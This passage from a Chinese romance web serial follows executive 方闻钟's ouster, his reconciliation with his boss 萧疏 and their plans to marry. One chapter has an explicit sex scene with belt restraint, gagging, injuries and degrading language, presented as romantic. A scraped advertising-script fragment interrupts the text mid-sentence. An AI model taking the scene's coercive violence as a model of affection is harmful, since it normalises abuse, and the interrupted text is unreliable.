所以当下他们应该做的是想办法补充资金,吃下那块地!“还有收购,萧总,请您相信我,我们未来一定会从那里得到更多的利益,所以我觉得收购应该继续下去!我们,我们可以去抵押贷款……” 萧疏打断急迫的他,“这块地你的想法怎么保证是对的?嗯?我们吃下这么大一块原来根本不在公司战略范围内的资产,后续开发,哪个不是动辄更大的手笔?为了解决你的问题,你随口一说,就要公司根据你的想法走?” 文件被甩回桌子上,“方闻钟,你不是一个合格的掌舵手。” 方闻钟还要解释,时间太短,他只能想到这么多,他跑过去,指着里面的数据,图表,还有未来可行性计划书,“萧总,请您先放下我的过错,单论这一块土地,我们以二十三亿的价款拿下它,绝对有的赚!” “收购那边,我对我给出的对价,从不认为它过高,萧总,您相信我的眼光吗?” 他把两件事分开来看,甚至认为地和公司收购,都是有利的,只不过需要他们先迈过当下的一道坎,未来付出更多精力。 “方闻钟,你知道股东们的主流想法是什么吗?” 萧疏擦了擦眼镜,对他说。 方闻钟一滞。 “他们认为,首先,放弃收购,其次,支付土地违约金,及时止损。” 相当于白忙活一场,把方闻钟过去十个月的辛苦,付之东流…… 方闻钟没明白,萧疏说的是‘他们认为’,这个他们,很可能不包括他,他只听明白了公司打算地也不要,收购也停止,还要因他的过错,支付高额违约金…… “你还有什么想说的?”萧疏慢条斯理地说。 方闻钟怔愣,“会怎么处置我,”他木木的,这件事前前后后在他脑海里,他不难猜到,背后陷害他的人,有顾家手笔,那些都不重要,重要的是,他们拿出这么大的代价,就为让他陷入僵局,而萧疏,会怎么决定? 萧疏站起来说:“下午会开股东大会,届时会出结果。” 方闻钟有些脆弱地看他似乎要离开,“萧……”声音一出来,才觉得有些哽咽,让萧疏听不清,他想说,这是顾芙雅干的,萧疏会再考虑一下吗? 哼,萧疏可能听到他如此幼稚的话,会说:“顾芙雅是谁?所以?” 硕大的办公室里,萧疏不在,方闻钟一个人终于忍不住把脸埋在手里,哭了出来,宣泄情绪。 股东大会萧疏坐在主位上,会开的无聊又漫长,他今天不怎么说话,所以下面的股东们越发畅所欲言。 好像试探出他没有保方闻钟的意思,一个个频频打算把方闻钟推出去。 这还不完,试探起了方闻钟和萧总 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的关系,如果他们真是传闻中的情人,本来也不该同在公司,有如此大的利益相关…… “萧总,我们可不敢再让你的小情人大着胆子随便来了。” “对,方副总这些年的工作我们都看在眼里,哪一样不是萧总你在背后撑腰,这更纵容的他连这么大的问题都看不出来。” “萧总,你要哄小情人可以,但别拿我们所有股东的利益在一个船上玩儿。” 这时候一个叫魏博远的大股东说:“萧总,还请您及时处理,方副总不适合再留在公司,私下里你怎么宠他我们都不管,这毕竟是您的私事,我相信萧总不会公私不分吧?” 看着中年人掩藏在好说话面皮之下的运筹帷幄,萧疏终于抬眼,有兴趣仔细看了看他。 今天恐怕没有魏博远的示意,那些小股东可不敢像刚才那样乱说话。 但看着其他股东也沉默点头认同的样子,萧疏知道,方闻钟无法再在公司服众。 他们的关系,私底下和摆在明面上当然不一样,尤其,方闻钟现在是戴罪之身。 那这层关系,只会成为攻破他的最大突破口。 “即日起,方闻钟副总经理,离开公司,其他事由等我明天通知。” 萧疏起身,做出最后决断,给暗流涌动的股东大会,划上句号。 第二日随着萧疏的决定传达下去,方闻钟一并听到了,他被赶出了公司。 前一天晚上萧疏还把魏博远单独叫来谈话,不知道他们谈了什么,只知道,魏博远出去时一头冷汗,话都说不利索。 他向萧疏交代了,顾夫人给他2%的顾家股份,要求他当众出面迫使方闻钟离开,奇怪的是,萧总没有对这2%的股份有任何收回想法,反而要求他,做一个更大的局…… 萧疏打完电话,电话里查到那块地本属于顾芙泽,而顾芙泽原本有很深的打算,预定谋定而后动,谁料,被什么也不懂的顾夫人,当一块需要处置的坏事,自作聪明地抛给了别人。 萧疏笑得意味深长,这还是第一次有人把蛋糕喂他嘴里让他吃。 那他自然不会客气。 还会在顾家身上,啃下更大一块肉! “按这个计划书去做,”萧疏扔给下属的,明明是方闻钟之前才提交上来的资料! 现在,他把资料一完善,把方闻钟没考虑到的补充到,竟完完整整的按他的想法去执行了。 公司这一切行动没有避开方闻钟,所以方闻钟也看到了这件事最后的解决方法:拿下地,拿下公司。 他傻愣地和很多人擦肩而过,怀里抱着离职时要拿走的东西。 萧疏愿意用他的东西,萧疏相信他,他就知道,萧疏的决策从不会出错,所以也包括毫不留情地将他赶走吗? “方……方闻钟,萧总叫你,”同事来通知。 方闻钟站在萧疏面前,却听到一个更难以置信的安排:“晟心科技总裁因挪用公款,被董事会及时发现,所以现在,需要你去出任晟心科技新一任总裁。” “这是我、乔晟,以及持有21%股份的你,一起决定的。” “明天去上班吧,方闻钟。” 他给了他一个绝好的结局,方闻钟却只接收到了一个信号,萧总,在一点一点,不动声色,甚至手段慈祥的把他从他身边推开。 他的手下留情,等同于告别。 方闻钟这几年白修炼了,竟还像之前一样,眼泪当着萧疏的面,扑簌簌落下来,“萧疏,可以不吗?” 26-30 第26章 萧疏:“排除万难,来跟我联姻,我娶你” 背后的动作一下大到方闻钟的头磕在墙上,上方的水流冲刷的皮肤一阵阵颤栗、发烧,方闻钟感觉自己的膝盖要碎了,而他嘴里塞着东西,说不出一句话。 视线往下,隐约见那条在方闻钟肩膀上抽出一条红痕的皮带,现在正捆着他的手腕! 他的胳膊竖在背后,皮带绕了一圈,勒进他嘴里。 他连扭头都困难,无论是痛的还是爽的,表达在脸上都是一脸扭曲。 他狼狈地像条狗一样,而他身后的主人,这次丝毫不打算对他留情。 他恨不得把他所有的愤怒都发泄出去,让不知死活的人知道,以龌龊手段招惹他的下场。 萧疏抬起方闻钟的下巴,他站在他身后,他低头,看他满脸水花,眼睛睁不开,还要顽强地看着他,看他嘴角被皮带勒的又大又红,口水像失禁一样很快沾满了他的手。 萧疏眼角的那颗痣,在他激烈的晃动下,一下一下,虽然模糊,但成了方闻钟浑浊的大脑里最清晰的锚点。 他在他身边。 他在他里面。 这个男人,他争取到了,哪怕萧疏接下来可能还是会结婚,说玩玩而已,说破一次戒又没什么,照样对他更渣男,可是方闻钟知道,萧疏一旦开了这个口子,就证明他听进去了他的话! 他在他说爱他后,在他偏执又乞求地黏上他后,又一次,答应了他。 萧疏舍不舍得他不知道,但萧疏对他有欲望,有情绪。 他能激起他的失控,能让他打破已经决定了的原则,能让他改变想法回头,萧疏的一辈子里,他方闻钟足够浓墨重彩,这就够了! 他“啊”的大叫了一声,手掐在萧疏大腿上,萧疏肌肉紧绷。 他嘴角勾起嘲弄的笑,贴着他的脸,“方闻钟,十年了,没见你在我面前这么低声下气卑微过,原来你这么爱我,你知道你刚刚像什么吗?” 方闻钟被他弄得防不胜防,他短促地尖叫,颤抖,“像,条,狗。” 他说。 “可是,狗也有伤到主人的一天,是他的主人给了他妄为的资格。” 方闻钟突然一个起身,头狠狠撞在萧疏脸上被他拳头打过的地方! 一时间,萧疏捂脸,下边也被伤到。 这一挣扎倒叫方闻钟把嘴里的皮带弄下去了,他抖着腿,和他面对面,须臾,他哈哈笑着,如同一个疯子一样,“萧疏,你疼我,你认了吧。” 萧疏沉默,室内只有水声。 就当方闻钟站不稳,就当他空寂的内心一点点快坠入深渊,他的虚张声势和打赌来的一口气,马上就要从身体里破灭时。 萧疏平淡地说:“过来。” 他松开脸上被捂住的痕迹,要公主抱方闻钟。 方闻钟被他揽在怀里,背后腿下的皮肤是他强劲的手臂,他都如傻了一般。 萧疏停住脚,他微微垂眸,看他,“抱上来,”怀里的人把手臂抱上他的脖子,他竟然还轻轻亲了一下方闻钟的眼皮。 “你说得对,我疼你。”- 一室寂静,第二天,方闻钟还紧紧抱在萧疏的怀里,他窝起来像个可怜的小动物,睡得很安静,害怕睡着了睡前发生的一切都是做梦,好事会随时离开,所以,他紧紧抱着萧疏的手臂,一次次确认,他就在这里。 他还在这里。 他们躺在萧疏的卧室里,外面天光大亮,萧疏都没丢下他先起来。 两人都没穿衣服,身上都不算好看。 尤其方闻钟,手上,脸上,膝盖,还有后面,一身伤。 方闻钟在一阵冰凉中醒过来了,醒来就看到,萧疏在他下面,他的腿被曲起来,正给他上药。 那一瞬极具归属感和性张力的对视,竟一下让方闻钟差点立马在萧疏面前出丑。 这个男人,他爱惨了他。 “萧疏。” 谁料萧疏几下上完药,趴上来,擦着他的嘴角说:“亦兄、亦父、亦是情人,方闻钟,你说过的话,你叫我什么?” 方闻钟:“萧……” 很多个字在他嘴边徘徊,最终,他难掩羞怯地说:“老公。” 萧疏:“?” 萧疏:“哈哈哈哈哈。” 他先是疑惑,惊讶,后真被他逗笑了,他笑得那么大声,爽快,倒叫方闻钟越来越恨不得把脸装裤兜里……他想藏起来。 被萧疏一下拉下被子,“你倒敢想。” 萧疏准备起身,方闻钟忽然拉住萧疏的手腕,“那我们现在是什么关系?” “不是你说的吗?情人。” 就只从床伴进化到情人啊,方闻钟得寸进尺,“你能不结婚吗?” 萧疏的回应,只是手指动了动,点在他嘴角的一处伤上,他的眼里好像一直全是他,又好像没他。 方闻钟问出了那个令他心悸的问题,“萧疏,你,喜欢我吗?” “哪种喜欢?”萧疏倒是答得快。 “我爱你的那种喜欢。” “呵,”好像听到我爱你时,让萧疏很愉悦,方闻钟猜测他的答案,喜欢、不喜欢,这种感情应该很明朗吧。 “或许吧,”他说。 萧疏和方闻钟都不知道这算不算答案。 但他们都不再细究,方闻钟和他十指交叉,他就拽着他的手,强硬地和自己十指交叉,“萧疏,你的结婚对象,可以是男的吗?” 方闻钟把他一辈子的好奇和胆量都用完了,势要在今天把所有都看个明白。 萧疏挑眉。 他们视线相对。 方闻钟坐起来,他离萧疏那么近,额头贴着额头,萧疏没躲,方闻钟问:“你结婚的目的到底是什么?” “萧疏,你是一个那么有明确计画和目的的人,你一直说,你会在三十五岁考虑结婚,你结婚是想要一个正常的家庭,一妻一夫或许还有一个孩子,是所有人眼里,豪门圈子里,不出错的人生一个程序?” “还是想要一个后代,一个单纯的继承了你基因和宠爱的孩子?” “还是?结婚在你看来,依旧是强强联合,对方要跟上你的脚步,为你所用,对你有价值?” “哪一种,有区别吗?”萧疏说。 “有。”方闻钟道。 “如果是第一种,萧疏你不像那么随波逐流的人,如果你不能从一段关系里,得到满足你精神的东西,那只会成为你的附庸,会成为你接下来人生的麻烦。而不是幸福。” “如果是……如果是第三种,萧疏,你的结婚对象考虑是男的吗?我会做到最符合你的标准!” 说着方闻钟还激动地跪坐了起来,挺直腰板。 萧疏也离开,背对着他边走边道:“那你怎么不说第二种?” “你能为我生个孩子?” 萧疏端了一杯水,回头。 方闻钟最害怕的事情出现了,他没听出来是萧疏的玩笑。 萧疏朝他走来,“法律没有赋予男性之间结婚,那么在外人看来,你我依旧是苟合,是笑话,而我,未婚。” 方闻钟心急口快,“外人怎么看,萧疏你什么时候在乎外人怎么说?只要你想,那你的结婚对象是男的又如何!” 萧疏盯着他,盯得方闻钟极不好意思,他喝了一口水,“你不用激我,方闻钟,想做我的结婚对象,你现在还不够格。” 他转身。 方闻钟却一下子从床上扑下来,他扑到他后背上,一张花脸笑得灿烂! 他抓住重点,“你说现在!你说我现在不够格!” “萧疏,那以后呢?那是不是意味着我拿到了可以和你结婚的入场券,只需要我再努力?” “萧疏,你结婚不是为了要一个不出错的家庭,不是为了要一个孩子,只是为了要一个对你最有价值,且未来和你相辅相成的同伴对吧?这个同伴最好还爱你,嘿嘿,”方闻钟被惊天大喜砸得晕乎乎,“那就是我。” 萧疏没甩开他,任由人在他背上趴着,还拖行了一段。 萧疏侧头,他们的角度刚好。 于是嘴唇碰上,亲吻也理所当然,“方闻钟,一年时间,一年时间把晟心的市值扩大到十倍!把乔晟的产品做出来!” 那才符合他一开始的预期。 “到那个时候,来跟我联姻,我娶你。” 第27章 打怪升级中(1) 那天萧疏说:“方闻钟,我这一生很少改变过决策,但改变了也几乎不后悔。” “希望你不要成为我第二个例外。” 方闻钟兴奋地扑到他怀里说:“我只做你第一个例外就足够了!” 他突然像一个大甜糕,三十多岁的人了,还这么可爱天真,又甜如丝糖,“萧疏,我不会让你后悔,我赌上我的一辈子,我绝对会做到你的要求,做到的那一天,我凤冠霞帔。” 方闻钟搬到了萧疏这边,开始和他同居。 但同居并不意味着他们有更多相处时间,反而,他们现在不在同一公司,两人又都是总裁,非常忙,且时间经常错开,撞不到一起,偶尔方闻钟下班回来时,萧疏或许还没回来,或许去出差了。 不过大多时候,是方闻钟在公司加班的时间更多! 他拼了命的努力,所有人都能看出来他心里燃着一把熊熊大火,憋着一口气!不出错、不冒进地想要完成突破性的任务。 为此,方闻钟一有时间就捧着专业著作,跟乔晟一起讨论,参与到他们的产品生产中。 当方闻钟越来越头头是道,不留痕迹地完美参与到他们的对话中时,乔晟才突然诧异! 他什么时候这么了解了?进修去了? 背后是书房一整个书架的书被他翻烂了,是每每工作到半夜三四点,萧疏叫他睡觉,他都会再看半小时,是第二天,只要萧疏亲一下他,他就能继续精神焕发地投入新一天的工作! 方闻钟当年高考都没这一半努力。 “你这么急干什么?终于看不下去我了,准备取而代之?”乔晟问。 “我们这个急不得,好的是前几年的成果都不错!现在就剩最后阶段了,估计,还得个两三年吧,那我也心满意足了!”看着自己的理论,一点点成为空前的实践落地,乔晟自然也是开心的。 “不行,”方闻钟冷漠地拒绝了他,“时间太长了。” 乔晟:“你是要准备把我们研究人员当牲口使啊?” 方闻钟:“所以我不是来帮你们了吗,还有什么其他需求?人才?资金?设备?材料?随时提。” 乔晟像观察新大陆一样看方闻钟,“你不对劲!” “那按你的预期呢?多久?” “一年。” “一年够干什么!”乔晟大喊。 “一年够你扬名世界了,”方闻钟激励他,一年也够他完成自己的人生大事,他笑得很暖和,乔晟却看得冷飕飕。 “方闻钟,你别不是跟萧疏抢上瘾了吧?上次抢他们的竞标,下一步打算干翻萧氏,你来当老大?” 方闻钟拍拍他肩膀,“理想很丰满,现实……”又拍拍他,“我走了。” 他的步伐坚定又迅速,方闻钟并没有百分之百的把握,对于结果,他只能抱有最高的期待,然后付出最大的努力。 一天天,一月月,他过得很充实。 尤其,萧疏一直在他身边。 有时候,看着他就那么旁若无人的看杂志、喂猫,他都很幸福。 那天,他计算机前坐了一整天,起来时揉揉眼睛,就看到萧疏在楼下院子里,不知道在喂从哪儿来的野猫,他伸出手指,既想逗猫,又不让猫碰到他,最后气得猫围着他乱跑乱跳,他也镇定自若地站着不动,完事之后越过猫猫,进屋了。 吩咐保姆给那幸运的猫给点猫粮。 他们很久没做,平时甚至也说不上多少话,但视线里有他,萧疏允许他近身,允许他这么孤注一掷就为了得到他,方闻钟就觉得,哪怕最后胜利的果实还没有得到,他平日里也是幸福的。 “萧疏,”他朝下面喊,“我有点想你。” 萧疏抬头,然后就准备上来。 方闻钟迅速往下跑,直到楼梯,才一下不管不顾跳起来缠在萧疏身上。 距离他和萧疏上次吵架,已经过去快半年了,有时候方闻钟自己都会诧异,他当时哪来的那么大勇气!敢顶着萧疏说破他的一切欲念! 他的要求都有些耸人听闻了,要求萧疏,和他一个男人结婚。 事后,他觉得那可能是他的心理直觉吧。 萧疏嘴上从未说过待他有哪一点不同,给他被爱的错觉,可过去五年间,又的确是他给他争的妄想!争的资格! 他把他捧上那么高的位置,他教会他一切,他让所有人都心照不宣地知道,他方闻钟,是他萧疏身边唯一的自己人。 他们灵肉合一,又怎叫方闻钟说放开就放开,和五年前那时不一样,那时,他只是他的床伴、助理,而五年后的现在,方闻钟都有时候觉得,他和萧疏,是可以相伴一生的人。 所以他做着这个梦,突然不择手段哪怕引起萧疏彻底厌弃,都要争一争,当面说:萧疏,我爱你,你可以再怜惜怜惜我吗? 他赌成功了! 萧疏心里有他,他会等他!所以他给他一个看起来好像很难实现的目标,目标完成之后,方闻钟就会赢得他这辈子最大的奖励! 属于他的幸福就在眼前,方闻钟怎能再像一个弱者一样在萧疏面前耍手段,或低声下气? 他不用萧疏弯下腰来,不用萧疏再站在原地等他,这一次,他会硬气地自己追上去! “还想不想抱了?”怀里的人腰扭来扭去,萧疏边抱着人上楼梯边说。 方闻钟小小地撒了一个娇,他说:“腰疼。” 刚下来时眼镜就被他摘掉了,他现在想亲萧疏,又觉得他的眼镜有点碍眼。 萧疏带起眼镜来,总让他有种他们在玩什么冷酷强制爱的play一样,只有摘掉他的眼镜,他才能看清他的情欲,他有时候面对他也会柔和下来,珍惜地摸一摸他的头。 萧疏一手拖着他的屁股,一手替方闻钟揉腰,一个不注意,就被他擅自拿掉了眼镜。 两人停住脚步,方闻钟已经把自己干燥的唇粘贴去。 “萧疏,想你了。” “想你了。” 萧疏手在他屁股下动了动,笑得轻飘飘,“我知道。”- 事后方闻钟趁萧疏心情好,提起了一件他干的错事,就上次竞标拿下的那个项目,晟心其实没有做好准备,但项目最后落在他们手里,萧疏不要,他们就只能自己硬着头皮干,还好萧疏给了他们一个很好的模版,他们照着来就行。 可总归有出问题的时候,这不,最近就有个小麻烦挺让方闻钟心焦,他请教萧疏该怎么办。 萧疏听完,立马皱着眉头,方闻钟还以为他不太愿意呢,就听他又提起,“从我的手里抢走的项目,好干吗?” “不好干,”方闻钟老老实实。 萧疏掐着他的后脖颈,警告道:“像上一次那样的手段,这一辈子我只允许你有那一次,再敢动用这种歪心思,我把你腿打断。” 他说的是方闻钟直接登录他的账号和密码窃取公司机密。 “知道了,”方闻钟也知道那次自己错得离谱,手段为人不齿,还好,萧疏最后没跟他多计较,只是抽了他一皮带而已。 他还知道,萧疏现在的密码也没有换。 …… 萧疏最后帮了忙,方闻钟暂时度过难关。 属于他的九九八十一难,还有半程。 方闻钟最近忙,一切私人性质的聚会他都没出席过,连带着萧疏也不怎么露面,朋友邀请了四五次,他才好不容易给个面子。 一见面,就听朋友说:“你和方闻钟同居了!真的假的!” 这个圈里人知道的不多,但难免有细心观察看到的! 萧疏被他的声音吵到了,“这么惊讶做什么?” “还不值得我惊讶吗?”朋友几下凑上来,拉住萧疏,“我还以为上次说得够清楚了,你不是放手准备结婚了吗?方闻钟不是也和你分开,发一段疯就好了吗?” “现在倒不发疯了……你呢?真又好上了?” “难不成你还打算家里供着一个名义上的妻子,外面和方闻钟缠缠绵绵?他有这么好让你舍不下吗?” 萧疏听着听着,听笑了,“你这一通胡扯,只有一句话说对了。” “哪句。” “他让我,舍不下。” 朋友震惊极了!连同萧疏弹了一下菸头,菸灰落下的,还有他另外一句话,“我就不能直接娶他?” 朋友直接被吓得掉出了座位,他觉得这是萧疏在骗他! 一时上头,说大话呢! “方闻钟真是人不可貌相啊……”没看出来,有妲己的潜质。 萧疏父母叫他们一起吃饭,点名叫方闻钟也一起来,方闻钟只好硬着头皮赴约。 赴约前,挑了好久衣服,然而一见面,就被打回了原型,拘谨、尴尬,还有好多不可言说,萧疏父母到底是什么态度啊? 一直没有骂过他,上次甚至,甚至在萧疏家门前,给他伞。 “夫人。” 萧父从他背后经过,“哼,夫人是你叫的?”他意思是方闻钟还不改口? 但他语气太不好,萧疏在另一边听到了,就怼他,“你摆什么架子呢?” 萧父听到狠攥着拳头,他都要被这个儿子气死了! 饭桌上,萧疏不明说,夫妻二人自然不知道他们怎么个打算?方闻钟这是作为他的助理,还是作为他男朋友来吃饭了?本想这次问一问,但萧疏装糊涂,他们也只能暂且不言明,难道还能问方闻钟? 所以就只有方闻钟一个人坐立难安,偷偷左顾右盼,其他三个人,一个比一个会装。 吃完饭,萧疏和方闻钟准备从老宅离开,萧父终于坐不住了,沉着脸叫他上去问话。 楼下,就留下萧夫人和方闻钟。 方闻钟往上迅速看了一眼。 就听到背后喊:“小方啊,萧疏有没有跟你说过,他今年准备结婚?” 楼上萧父问的也是同一个问题,萧疏曾答应过他们的,三十五岁就考虑结婚,不会再乱来。 萧夫人说得平静,方闻钟以为是在敲打他,是的,他取得了萧疏的同意,可是还没有过萧疏父母这一关,他们,会同意他吗?想想也觉得几乎不可能。 方闻钟尽力站稳,不让自己露出难堪的神色。 “嗯?” 他再一次被催促。 “说过。” “那你是怎么想的?”萧夫人一手侍弄着花,随便问道。 方闻钟踌躇了很久,终于鼓足勇气,他向前几步,站在萧夫人身后,“伯…母,我和萧疏的事,您知道对吗?” “你们之间什么事?” “我爱他,我想和他永远在一起,我不想萧疏结婚,如果萧疏需要的结婚对象,是一个可以和他共进退的人,那可以不拘性别,是我吗?” 方闻钟破釜沉舟地在他父母面前说出这些话,就做好了最坏的打算,谁料,萧夫人瞪大眼睛,转头,水壶里的水不小心浇方闻钟衣服上了,她赶紧关掉。 “萧疏怎么说。” 方闻钟:“他同意了,”方闻钟说这句话时心里是甜蜜的,是窃喜的,他还怀着紧张期待的眼神看萧夫人。 萧夫人放下手里的东西,突然伸手,替他整了整衣领,“萧疏没看错你,还记得九年前?十年前?他那时候也还小,选了你做助理,他说你是一个很坚韧的人,会陪着他迎难而上,那时候我觉得,别他一个不靠谱的,再挑一个你不靠谱吧。” “你那时候……”萧夫人抬眼,看着方闻钟回忆,“很怯懦,有点,胆小。” 尤其第一次来老宅,见他们。 “如今你能有勇气有魄力先一步跟我摊牌,其实我是比较高兴的,我怕你对萧疏有情,萧疏一时纵着你,和你玩玩,哪怕他有一天来我这里求得同意了又怎样,当萧疏准备放手的那一刻,如果你没有足够强大,如果你没有想清楚,靠别人保护你,站在你前面,那是不行的。” 萧夫人的意思是,她喜欢方闻钟在萧疏没开口前,就先一步坦白,他足够有勇气,他足够坚韧,那么,哪怕未来有一天,他们走不下去,方闻钟也能堂堂正正地站着,也能过得很好! “结婚的事,你们再考虑考虑,也给我们做父母的一点时间好吗?” “好,好。”已经足够好了,已经是最好了! 方闻钟在萧夫人面前,没忍住像个孩子一样哭出来,萧夫人好笑地替他抹了一下泪,“别哭了,不然萧疏等下来,还以为我欺负你了。” 她转头给方闻钟自己打理的空间,“你伯父你也别担心,他在萧疏面前,就是刺猬,看着扎人,一戳就缩头。” 她说着自己老伴的坏话,宽慰方闻钟。 果然,楼上萧父一开始还严肃正经地问萧疏:“答应我们的都是骗我们的?萧疏,你能不能有个正经样子!” 萧疏抬眼:“哪句是骗你们?三十五岁结婚?我会在今年结婚。不会胡来?我从来没有胡来。” “没有胡来你和一个男人结婚!没有胡来你以后不要孩子了!谁承认你的婚姻!你放屁萧疏!” 萧疏一直很冷静,宛如今天说的话,不是他临时决定,而是深思熟虑。 “我不需要谁承认,如果方闻钟能做到我要求的条件,那我就会和他结婚。” “他是个男的!” “那又怎样?他能给我我想要的一切。” 萧疏说:“我要的不是一个占了我妻子名义的女人,不是一个莫名其妙的孩子或继承人,我要我想要的,”他弯腰靠近萧父,特别自我地说:“他能给我幸福,他能和我比肩而立,我们不需要继承人,萧氏集团是我一把手做到现在的,你的功劳,哼,早在这些年分红中就抵消了,所以你没权力要求我做什么,更不用担心以后后继无人,职业经理多的是。” “你不会后悔?”萧父第一次,这么严厉地盯住萧疏的脸,让他不要因为一时想法,就轻易下一辈子的决定。 “未来后悔了怎么办?未来后悔了,你毁掉的是两个人!” 萧疏靠回在椅背上,话谈到这里,差不多知道了,萧父他们并不会强烈地反对他,无论是他打算和男人结婚,还是打算以后不要孩子,他们在这方面还真没那么刻薄,他们只是担心他,只是不确定,不确定他是否想清楚了后果。 萧疏说:“爸,我用十年认识一个人,用五年看清他,那我不介意,再用接下来的一辈子,和他相爱……” 第28章 打怪升级中(2)(霸王票加更) 离开老宅回头看时,方闻钟再也不觉得这一栋建筑面积极广的房子肃穆、庄严,他只觉得怎么看怎么喜欢,树木郁郁葱葱,房顶颜色鲜亮,里面的花鸟虫草,都透着一股温暖可爱。 他脸上不自觉露出一个放松的笑,抓着萧疏的手,也一点点攥紧,放松,攥紧,放松。 他忽然摸着他的中指。 一个想法突然就钻到他脑子里。 然后就怎么也不受控地让他幻想那个场景,方闻钟笑得贼兮兮的,萧疏瞥他,“想到什么开心事了?” “今天就够开心啊。” 方闻钟把自己的手指插进他指间,他没听到萧疏对萧父说的话,萧疏也不知道他在萧夫人这里得到了什么慰藉,总之,两人心情还不错。 方闻钟忙归忙,但他再也不像前段时间那样绷紧神经了,他会在紧凑的时间中,挤出来一点,专门陪萧疏,萧疏不用陪,在忙工作,他就粘着他。 萧疏正在开跨国会议,看他端着水果盘子进来,方闻钟大眼睛闪了闪,嘴巴微微张开跟他示意:能,进,来吗? 萧疏对视频里说了什么,大意是不方便,他暂时关了视频,只开着语音,然后朝方闻钟点头。 方闻钟就开心地几步窜过来了。 他就知道萧疏会纵容他,萧疏现在待他不像床伴,不像情人,像……未婚夫。 方闻钟自己脑补,喂自己一口糖吃,反正萧疏就是对他挺好的,他们之间的相处方式完全变了,萧疏对他的要求,基本都会满足,他在他身上多察觉出了一些温柔,虽然有时候在床上,他还是那么混账…… 萧疏一边戴着耳机,一边被方闻钟塞进来几口水果。 方闻钟在他腿上还不好好坐,有时候还要扭动着凑近看他计算机。 萧疏就在他腰上掐一把,眼神警告他。 “好,我乖。” 方闻钟用气音说。 他今晚奇奇怪怪的,萧疏本以为陪他一会儿,方闻钟就要去忙了,谁知喂了水果,还要喂他喝水,最后又问他,你还有什么需求啊,没有别的我干的了吗? 萧疏把方闻钟提起来,然后放在自己腿上,让他面对面坐着,“预谋什么呢?” “不老实。” 被看穿了,方闻钟左摇右扭,萧疏的眼神逐渐危险,他一下不好意思地趴进他怀里,“萧疏,待会儿我要做一件事,你一定不能拒绝。” “什么事?” “不能先说。” “……” 萧疏:“你是小孩子吗?想做就做,这么扭捏干什么?”他看着方闻钟几次暗暗吸气,偷偷侧眼瞄他,看不明白。 “你闭眼。” 萧疏闭眼。 然后感觉,自己的左手,被他从腰上拿起来,他手颤抖着,圈住他的手指,直到一个冰凉的东西突然套进他中指,萧疏一下睁眼,他眼睁睁看着,方闻钟像进行一件最精细的工作,小心翼翼,一点点,最后推进他指根。 大小刚好。 方闻钟抬头,脸都红了,他想看萧疏会有什么反应,萧疏手没动,他一直垂眼看着,直到那个戒指,已经和他的手同一温度。 他取下来。 方闻钟立马缰住了,“萧!” 萧疏把戒指拿在眼前看了看,“求婚?” “嗯,”方闻钟牙齿颤栗,“可以吗?虽然我还,我还没有达到你的要求,或者你可以不当求婚戒指,就是我看到了,觉得挺好看的,就买了。” “萧疏,你可以收下吗?” “不戴,也行。” 萧疏转了转戒指,一手从他后背手掌贴着他,往靠近自己的方向揽。 一手拿着戒指,靠近他嘴边。 “张嘴。” 方闻钟乖乖照做。 “用牙齿咬住。” 他咬着戒指,舌尖触到一点冰凉,眼底一片迷惑。 萧疏终于笑了,他重新抬起手,一字一顿地说:“用你的嘴巴,给我戴进来。” 方闻钟浑身颤抖,他弯着脖子,萧疏的手指,一点点伸进他嘴里,直至咬着戒指,咬到了手指,萧疏才把手指拿出来。 方闻钟立马擦了一下嘴,害怕有口水,他已经很小心了。 萧疏满意地看了看,“我收下了,会戴着的。” 他平静地说。 他的求婚,哪怕再无排场,哪怕只是他提前贷款,让自己开心一下,萧疏也应了。 方闻钟当晚就哭着,像个小狗一样,在萧疏戴着戒指的手上咬来咬去,咬了那么多齿痕,萧疏疼得抽气,捏住他嘴巴,“再过分,就摘了。” “不许摘!” 方闻钟理直气壮地说:“以后只有我能给你取下来,我能给你戴上去!就用嘴巴!你自己不可以!” “胆子大了,”回应他的,只是萧疏一巴掌拍到他的臀上,皮肤接触,臀部颤了颤。 他继续咬他的脖子。 萧疏果然戴着那个戒指出现在公司、在所有商业活动中、豪门宴会中! 看到的人无不惊诧万分! 要说是个装饰品,萧疏以前可从未戴过,而且那戒指名贵漂亮,一查就能查到,是价值几十万的婚戒。 可要说是他和别人的订婚戒,又实在没出现另一个人! 方闻钟的戒指没有戴。 他都没说他给自己也买了。 他要把这当做,未来给自己的一个奖励。 有实在好奇心旺盛的,还仗着和萧疏有点商业上的关系,就问他,“萧总订婚了,准备结婚?” 萧疏抬眼,冷漠无视,一贯无可奉告的样子…… 所有的甜蜜,所有的惊喜,就只是方闻钟一个人能看到的! 方闻钟别看三十三四了,近日来越发调皮,像个突然返璞归真的小孩子、大可爱! 他在地下车库一下从后背跳上萧疏身上,然后一点点滑下去,等萧疏伸手从后面揽住他,他才哈哈大笑,“萧疏,我来接你下班了,开心吗?” 萧疏也展颜,“你要能光明正大地来接我下班,再来问我开不开心。” “哎呀,我害怕在外人面前忍不住嘛,要是藏不住,被人看出来我喜欢你怎么办?” “怎么办,”萧疏停住脚步,抓住脖子里他的手,“又不是一次两次了,你喜欢我,是秘密吗?” 方闻钟在后面卡住他脖子,不让走,他嘴角抽搐,“你好自恋哦。” “不过你说的对,我喜欢你嘛,不是秘密。” 他干脆一下跳上他后背,让他背着,最后才在司机假装看不见的视线里,稍微有点不好意思地下来,赶紧钻车里。 说光明正大接萧疏下班,方闻钟第二天就来了! 和萧氏集团谈完工作,现在他代表的晟心,来老东家这里,可是格外被优待的,以前的下属、股东们,不管原来和他关系怎么样,现在看来都非常客气。 方副总,成了方总。 彻底成了他们高攀不起,不可随意妄言的人物了。 会客室里方闻钟跟原来的助理说:“我在这里等等萧总,待会儿还有事,你不用管我。” 助理立马替他放下茶水,赶紧给萧总汇报去了。 萧疏听闻,看了眼时间,到下班的点了,他收拾了一下东西,准备回家再加班,走到会客室门口,还没敲门,方闻钟就一下冒出头来,“我听出来你的脚步声了!” “呵,”萧疏笑着,手揽上他脖子,方闻钟赶紧叫他拿下去,“正经一点,这里是公司!” 二人身着西装,都一脸严肃,一个戴着黑边细框眼镜,一个戴着无框玻璃镜片,眼镜下的眼睛,一个强大深邃,一个冷漠骇人,双手插兜,他们并肩经过走廊,经过电梯,经过很多人看着的大堂…… 路过者无不驻足,萧总和方副总好久没有见到在一起了,哦,方副总现在也和萧总差不多了,他们二人哪是来工作的,就像一场走秀,惊呆看傻了众人,也迷翻了一群暗戳戳嗑糖的。 